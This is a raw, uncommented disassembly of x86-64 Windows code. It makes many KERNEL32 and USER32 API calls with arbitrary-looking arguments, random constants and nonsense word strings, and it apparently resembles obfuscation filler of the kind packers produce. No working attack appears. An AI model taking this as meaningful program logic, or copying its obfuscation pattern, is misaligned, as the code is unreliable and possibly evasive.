jmp 0x140009e03
nop
jmp 0x140009e63
lea rcx, [rbp + 0x2ff0]
mov rax, qword [rbp + 0x1aa20]
lea rdx, [rbp + 0x3a18]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0xa6c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x17
mov edx, 0xf3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_BackupSeek]
call rax
mov dword [rbp + 0x1a9f8], eax
movzx edx, word [rbp + 0xee4]
movzx eax, word [rbp + 0x1c72]
add eax, edx
mov word [rbp + 0x2164], ax
nop
jmp 0x140009ea2
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2207]
add edx, eax
mov rax, qword [rbp + 0x4250]
mov byte [rax], dl
lea rax, [rbp + 0x2ff0]
mov rdx, rax
mov ecx, 0x51
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov dword [rbp + 0x1a99c], eax
nop
mov rax, qword [rbp + 0x1a958]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x4bab], al
movzx eax, word [rbp + 0x912]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2dd6], ax
mov rax, qword [rbp + 0x1a938]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3eb8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1a928]
mov rax, qword [rax]
add rax, rdx
cmp rcx, rax
je 0x140009fa0
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
cmp eax, 0x26331ab7
je 0x140009f29
cmp eax, 0x35edef66
je 0x140009f9a
jmp 0x140009fa0
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1a920]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov dword [rbp + 0x4c04], eax
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1afd8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x105c], edx
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [0x140101050]
or rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
jmp 0x140009fa0
call fcn.1400fdbea
nop
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x1a948]
mov eax, dword [rax]
test eax, eax
jne 0x1400fc4d3
mov rax, qword [rbp + 0x4250]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
and eax, edx
movsx ecx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
sub edx, eax
cmp ecx, edx
jge 0x14000a0d6
movzx eax, byte [rbp + 0x4ef6]
movsx eax, al
cmp eax, 0x2d
je 0x14000a052
cmp eax, 0x47
jne 0x14000a23c
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x34a7], al
mov rax, qword [rbp + 0x1afa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
and edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
jmp 0x14000a23c
movzx edx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x4bab]
add eax, edx
mov byte [rbp + 0x20b6], al
lea rdx, [rbp + 0x1428]
mov rax, qword [rbp + 0x1a918]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
call rax
mov dword [rbp + 0x1a954], eax
mov rax, qword [rbp + 0x16d8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rcx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x1a968]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x14000a23c
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x1afd8]
mov eax, dword [rax]
test eax, eax
je 0x14000a109
cmp eax, 0x212d08fc
je 0x14000a165
jmp 0x14000a23c
lea rax, [rbp + 0x3a18]
mov qword [rbp + 0x1afb0], rax
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x1afa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x912]
xor edx, eax
mov rax, qword [rbp + 0x1afa0]
mov word [rax], dx
lea rax, [rbp + 0x2c4c]
mov qword [rbp + 0x1b038], rax
jmp 0x14000a23c
movzx edx, word [rbp + 0x1208]
movzx eax, word [rbp + 0x1c72]
or eax, edx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xacd
jne 0x14000a21c
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4d98]
mov byte [rax], dl
lea r8, [rbp + 0x740]
lea rdx, [rbp + 0x1f78]
mov rax, qword [rbp + 0x1aa20]
lea rcx, [rbp + 0x340]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0x57
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov dword [rbp + 0x1a99c], eax
mov rax, qword [rbp + 0x1b058]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x34a7], al
jmp 0x14000a23b
mov rax, qword [rbp + 0x16d8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
and rdx, rcx
mov qword [rax], rdx
nop
nop
mov edx, dword [rbp + 0x3880]
mov eax, dword [rbp + 0x2f4c]
add eax, edx
mov dword [rbp + 0x3ac0], eax
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
mov qword [rbp + 0x3748], rax
movzx eax, word [rbp + 0x1c72]
movzx edx, ax
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0xee4]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x14000a301
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
cmp eax, 0x1a
jne 0x14000a2e2
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadLocale]
call rax
mov word [rbp + 0x1c72], ax
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [0x140101050]
mov r8d, ecx
mov rcx, rax
call fcn.1400fe387
jmp 0x14000a301
mov rax, qword [rbp + 0x16d8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x16d8]
sub rcx, rdx
mov qword [rax], rcx
nop
mov rax, qword [rbp + 0x1a968]
movzx eax, word [rax]
movzx ecx, word [rbp + 0xee4]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
and eax, edx
movzx edx, ax
movzx eax, word [rbp + 0xee4]
movzx ecx, ax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
add eax, ecx
cmp edx, eax
je 0x14000a430
movzx eax, word [rbp + 0x912]
cwde
cmp eax, 0x4c03
jne 0x14000a403
mov edx, dword [rbp + 0x1200]
mov eax, dword [0x140106030]
mov ecx, eax
shr edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
or eax, edx
cmp ecx, eax
jne 0x14000a57f
movzx eax, byte [rbp + 0x3657]
movzx edx, al
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x1aa20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov dword [rbp + 0x1a98c], eax
mov rax, qword [rbp + 0x1a968]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x4ed0]
xor edx, ecx
mov word [rax], dx
nop
lea rdx, [rbp + 0x3eb8]
lea rax, [rbp + 0x4f4]
mov qword [rsp + 0x20], rax
mov r9d, 0x77
mov r8, rdx
mov edx, 0xba
mov ecx, 0x90
mov rax, qword [sym.imp.KERNEL32.dll_GetStringTypeA]
call rax
mov dword [rbp + 0x1aa1c], eax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
cmp eax, 0x43cc0c21
je 0x1400fc599
cmp eax, 0x776fccf8
jne 0x1400fc59f
mov r8d, dword [rbp + 0xa6c]
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x740]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
jmp 0x1400fc59f
call fcn.1400fdbea
nop
lea rax, [rbp + 0x3b50]
mov r8d, 0xb9
lea rdx, str.upthrust_Sugars_Toot_fabrications
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcpynW]
call rax
mov qword [rbp + 0x4f38], rax
nop
mov r8d, 0xd8
mov edx, 0
lea rax, str.doubtinglypedestrianisationPuffinsweighsgene
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
call rax
mov qword [rbp + 0x1af80], rax
mov ecx, dword [rbp + 0x2fd4]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x3048]
and edx, ecx
mov dword [rax], edx
jmp 0x1400fc66b
mov rax, qword [rbp + 0x1b058]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2207], al
mov rcx, qword [0x140101050]
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
call rax
movzx eax, ax
mov dword [rbp + 0x3880], eax
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x2fd4]
add eax, edx
mov dword [rbp + 0x1bc8], eax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx ecx, al
movzx eax, byte [rbp + 0x2207]
movsx r9d, al
movzx eax, byte [rbp + 0x2c4c]
movsx r8d, al
movzx eax, byte [rbp + 0x4ef6]
movsx edx, al
movzx eax, byte [rbp + 0x4ef6]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x1400fc6cd
movzx eax, word [rbp + 0x1a74]
mov edx, eax
movzx eax, word [rbp + 0x4c4]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x912], ax
nop
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
movabs rdx, 0x4b6410cbc1b52735
cmp rax, rdx
je 0x1400fc73d
movabs rdx, 0xb32f20dde2e63045
cmp rax, rdx
jne 0x1400fc75c
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x3720]
add rax, rdx
mov qword [rbp + 0x3a18], rax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0x4f4]
movzx edx, ax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx eax, ax
mov r8d, ecx
mov ecx, eax
call fcn.1400fddf7
jmp 0x1400fc75c
mov rax, qword [rbp + 0x1a9f0]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x2990]
and rdx, rcx
mov qword [rax], rdx
nop
mov edx, dword [rbp + 0x4c04]
mov eax, dword [rbp + 0x3ac0]
sub edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x4ac0]
lea rcx, [rbp + 0x940]
lea rdx, [rbp + 0x740]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call rax
mov dword [rbp + 0x1a99c], eax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0xee4]
movzx edx, ax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
mov r8d, ecx
mov ecx, eax
call fcn.1400fddf7
nop
movzx edx, byte [rbp + 0x3f13]
movzx eax, byte [0x140101058]
or eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x3ab8]
mov byte [rax], dl
nop
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x1200]
sub edx, eax
mov dword [0x140106030], edx
mov rax, qword [rbp + 0x16d8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x16d8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
movabs rdx, 0x28179836ed53d1e6
cmp rax, rdx
je 0x1400fc869
movabs rdx, 0x681635a366094894
cmp rax, rdx
je 0x1400fc8df
jmp 0x1400fc903
lea rdx, [rbp + 0x840]
mov dword [rsp + 0x28], 0xe9
lea rax, [rbp + 0x4fe0]
mov qword [rsp + 0x20], rax
lea r9, str.pronounced_Footway_skulduggery_unflagging_conquers
mov r8, rdx
mov edx, 0x78
mov ecx, 0x34
mov rax, qword [sym.imp.KERNEL32.dll_GetDateFormatW]
call rax
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx ecx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
jmp 0x1400fc903
lea rax, str.PatchworkSmooch_sourcingContestant
mov rdx, rax
lea rax, str.passivity_attiredAdheringpostilionResealed
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x3a58], eax
nop
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x1a9f0]
mov qword [rax], rdx
movzx eax, word [rbp + 0x4f4]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x1c72]
movzx edx, ax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x1400fcaef
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
cwde
cmp eax, 0x235e
je 0x1400fca6a
cmp eax, 0x72f5
jne 0x1400fcaef
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
xor eax, edx
mov dword [0x140106030], eax
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x3f13]
mov dword [rsp + 0x20], 0xc4
mov r9, rdx
mov r8, rax
mov edx, 0xb3
mov ecx, 0x32
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov dword [rbp + 0x1cc], eax
movzx eax, word [rbp + 0x2dd6]
movsx edx, ax
movzx eax, word [rbp + 0x1a74]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
cmp eax, 0x6b559358
jne 0x1400fca1f
movzx eax, byte [rbp + 0x20b6]
movzx edx, al
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3f13], al
jmp 0x1400fca68
movzx eax, byte [rbp + 0x34]
movsx ecx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx r9d, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx r8d, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
nop
jmp 0x1400fca85
movzx edx, word [rbp + 0x1a74]
movzx eax, word [rbp + 0x2dd6]
or edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
nop
jmp 0x1400fcaef
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
xor edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x6d8]
mov rdx, qword [rbp + 0x2314]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RealChildWindowFromPoint]
call rax
mov qword [rbp + 0x1a990], rax
movzx eax, byte [0x140101058]
movzx edx, al
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
jmp 0x1400fcaf0
nop
lea rdx, [rbp + 0x6a4]
mov rax, qword [rbp + 0x1a9d0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov dword [rbp + 0x1aa1c], eax
mov edx, dword [rbp + 0x105c]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x1cc], eax
nop
call fcn.1400fdbea
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0x1bc8]
sub edx, eax
mov dword [rbp + 0xa6c], edx
jmp 0x1400fcbc3
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
or ax, 0x57dd
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x6d8]
lea rdx, [rbp + 0x3520]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MapDialogRect]
call rax
mov dword [rbp + 0x1a99c], eax
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
and rdx, rcx
mov qword [rax], rdx
nop
mov rdx, qword [rbp + 0x3720]
movabs rax, 0x15f91103cd7bc11
cmp rdx, rax
jne 0x1400fcc34
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
movzx eax, word [rbp + 0x2164]
movzx ecx, ax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx eax, ax
mov r8d, ecx
mov ecx, eax
call fcn.1400fddf7
jmp 0x1400fcc6b
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x3f30]
mov dword [rsp + 0x20], 0x77
mov r9d, 0xa2
mov r8, rdx
mov rdx, rax
mov ecx, 0x68
mov rax, qword [sym.imp.USER32.dll_GetMouseMovePointsEx]
call rax
mov dword [rbp + 0x1cc], eax
nop
jmp 0x1400fcd68
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cc]
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3fac]
sub edx, eax
cmp ecx, edx
jl 0x1400fcd3c
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [0x140106030]
mov rax, qword [rbp + 0x740]
and edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x840]
movabs rax, 0xa8224dd7aeea0be1
cmp rdx, rax
jne 0x1400fcd20
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
sub edx, eax
mov dword [rbp + 0x105c], edx
mov rax, qword [rbp + 0x4240]
lea rdx, [rbp + 0x14e8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ScreenToClient]
call rax
mov dword [rbp + 0x1a9fc], eax
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140101050]
sub rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
jmp 0x1400fcd67
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
add eax, edx
mov dword [0x140106030], eax
jmp 0x1400fcd67
movzx eax, word [rbp + 0x1a74]
cmp ax, 0x5a8a
jg 0x1400fcd67
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
jmp 0x1400fcd67
nop
mov rax, qword [rbp + 0x1a9f0]
mov rax, qword [rax]
mov rcx, rax
call fcn.1400fe82e
jmp 0x1400fce8a
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
add eax, edx
cmp ecx, eax
jae 0x1400fce8a
lea rcx, [rbp + 0x2990]
mov rax, qword [rbp + 0x1a9b0]
lea rdx, str.aggregating_Chinking
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0xfc
mov edx, 0x50
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_InsertMenuW]
call rax
mov dword [rbp + 0x1a9fc], eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
cmp eax, 0x16
je 0x1400fce6e
cmp eax, 0x20
jne 0x1400fce8a
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x20b6]
sub eax, edx
mov byte [rbp + 0x3657], al
lea rdx, [rbp + 0x4f38]
mov rax, qword [rbp + 0x1a9a8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetTitleBarInfo]
call rax
mov dword [rbp + 0x1a9bc], eax
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
jmp 0x1400fce8a
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
sub rdx, rax
mov qword [rbp + 0x3a18], rdx
nop
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [0x140101050]
mov r8d, ecx
mov rcx, rax
call fcn.1400fe387
jmp 0x1400fd02d
movzx eax, byte [rbp + 0xebb]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x34]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
add eax, edx
cmp ecx, eax
jge 0x1400fd02d
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
movzx ecx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x3f13]
or eax, ecx
movzx eax, al
cmp edx, eax
je 0x1400fd02d
mov edx, dword [rbp + 0x4c04]
mov eax, dword [rbp + 0x1cc]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x105c], eax
mov ecx, dword [rbp + 0x1bc8]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x740]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3a18]
movabs rdx, 0x592bfc30d4344aca
cmp rax, rdx
je 0x1400fd013
movabs rdx, 0x7038b975e86c6bb9
cmp rax, rdx
jne 0x1400fd02d
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x940]
lea rdx, [rbp + 0x4a60]
mov r8d, 0x21
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CopyAcceleratorTableW]
call rax
mov dword [rbp + 0xf40], eax
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x2c4c]
mov rax, qword [rbp + 0x2380]
and edx, ecx
mov byte [rax], dl
mov rcx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x1400fd02d
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x3657]
sub eax, edx
mov byte [rbp + 0x20b6], al
nop
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x5b
je 0x1400fd0e2
cmp eax, 0xa1
jne 0x1400fd224
mov rax, qword [rbp + 0x1afd0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1c72]
mov rax, qword [rbp + 0x5b8]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25e0]
lea rdx, [rbp + 0x3b50]
mov r9d, 0x2a
mov r8d, 0x1c
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DlgDirSelectExW]
call rax
mov dword [rbp + 0x1aa1c], eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
sub rdx, rax
mov qword [rbp + 0x24a8], rdx
mov rax, qword [sym.imp.USER32.dll_GetActiveWindow]
call rax
mov qword [rbp + 0x25e0], rax
jmp 0x1400fd101
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
sub rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
nop
jmp 0x1400fd224
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x1fed
jne 0x1400fd135
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
add rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
jmp 0x1400fd136
nop
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x1c72]
movzx edx, ax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx eax, ax
add eax, edx
cmp ecx, eax
jne 0x1400fd227
movzx eax, word [rbp + 0x1a74]
sub ax, 0x17be
mov word [rbp + 0x1a74], ax
lea rax, [rbp + 0x4a60]
mov r9d, 0xef
mov r8d, 1
mov edx, 0x60
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_AdjustWindowRectEx]
call rax
mov dword [rbp + 0x1a9fc], eax
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0x1bc8]
add eax, edx
mov dword [rbp + 0xa6c], eax
